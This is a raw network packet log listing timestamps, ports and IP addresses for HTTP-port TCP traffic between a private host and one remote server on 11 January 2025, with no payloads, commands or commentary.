Jan 11, 2025 03:36:32.631124020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.631134033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.631144047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.631167889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.631186008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.641869068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.664729118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.665157080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.665180922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.665191889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.665257931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.671950102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.694997072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695039034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695074081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695115089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695153952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.695166111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695202112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695214033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.695233107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.695235968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695288897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.695307016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695374012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695406914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.695415974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.715131998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715147018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715157032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715223074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715272903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.715372086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715383053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715396881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715406895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715419054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715435028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.715457916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715466976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.715497971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.715527058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.724634886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724657059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724668026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724756956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.724791050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724803925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724831104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.724930048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724941015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724951982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724961996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724973917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.724975109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.725023031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.725040913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.744854927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.744915009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.744945049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.744995117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745033979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745047092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745089054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745101929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745105982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745115995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745126963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745142937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745172977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745203018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745213985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745224953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745246887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745265961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745301962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745312929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745323896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745373011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745383978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745394945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745404959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745424032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745445967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745510101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745521069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745554924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745585918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745596886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745629072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745683908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745695114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745724916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745794058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745804071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745814085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745825052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745832920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.745837927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745860100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.745997906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746010065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746020079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746031046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746038914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746042013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746078014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746104956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746215105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746227026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746237040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746248007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746258020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746294022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746479034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746490002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746500015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746511936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746542931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746568918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746634007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746644020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746654034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746665955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746675968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746680021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746686935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746696949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746716022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746737003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746942043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746952057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746962070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746972084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746983051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.746984959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.746994972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.747004986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.747011900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.747029066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.747045040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.749929905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750005007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750014067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750042915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750053883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750082970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750109911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750122070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750157118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750222921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750232935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750242949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750278950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750369072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750379086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750389099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750406027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750426054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750581980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750591040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750601053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750610113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750626087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750639915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750737906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750747919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750756979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750766993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750793934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750818014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750874043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750952005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750962973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750972033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750981092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.750989914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.750989914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.751005888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.751051903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.755795002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.755850077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.755883932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.755919933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.755980968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.756016016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.756051064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.756055117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.756084919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.756098986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.756119967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.756160021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.785550117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785564899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785576105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785618067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785629034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785640001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785650969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785690069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.785737038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.785825014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.785871029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.791208982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.805685997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805701971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805718899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805828094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805839062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805850029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805931091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.805931091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.805931091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.805977106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.805988073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806004047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806015015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806026936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806077003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.806171894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806183100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806193113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806204081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806214094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.806216002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.806236982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.806256056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.815262079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815274000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815283060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815342903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.815354109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815366030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815376043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815402985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.815448046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.815479040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815490961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.815526009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835371017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835414886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835424900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835484028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835494995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835513115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835558891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835560083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835602999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835609913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835623980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835678101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835771084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835782051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835793018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835804939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835814953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835815907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835850954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.835942984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.835984945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836013079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836024046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836035013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836061001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836193085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836205006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836231947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836333036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836344004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836355925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836366892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836374998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836379051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836388111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836397886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836399078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836410999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836421967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836432934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836433887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836457014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836782932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836819887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836843967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836854935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836865902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836885929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.836978912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.836990118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837001085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837012053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837023020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837028980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837049007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837076902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837254047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837265015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837275028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837318897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837322950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837336063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837346077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837357044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837368011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837369919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837392092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837409973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837930918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837943077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837953091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837964058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837974072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.837974072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.837991953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838002920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838011980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838012934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838025093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838030100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838035107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838047028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838049889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838057041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838068008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838069916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838079929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838092089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838097095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838109016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838133097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838160038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838774920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838788033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838798046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838809013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838819981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838826895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838830948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838840961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838845968 CET	49704	80	192.168.2.8	193.143.1.205
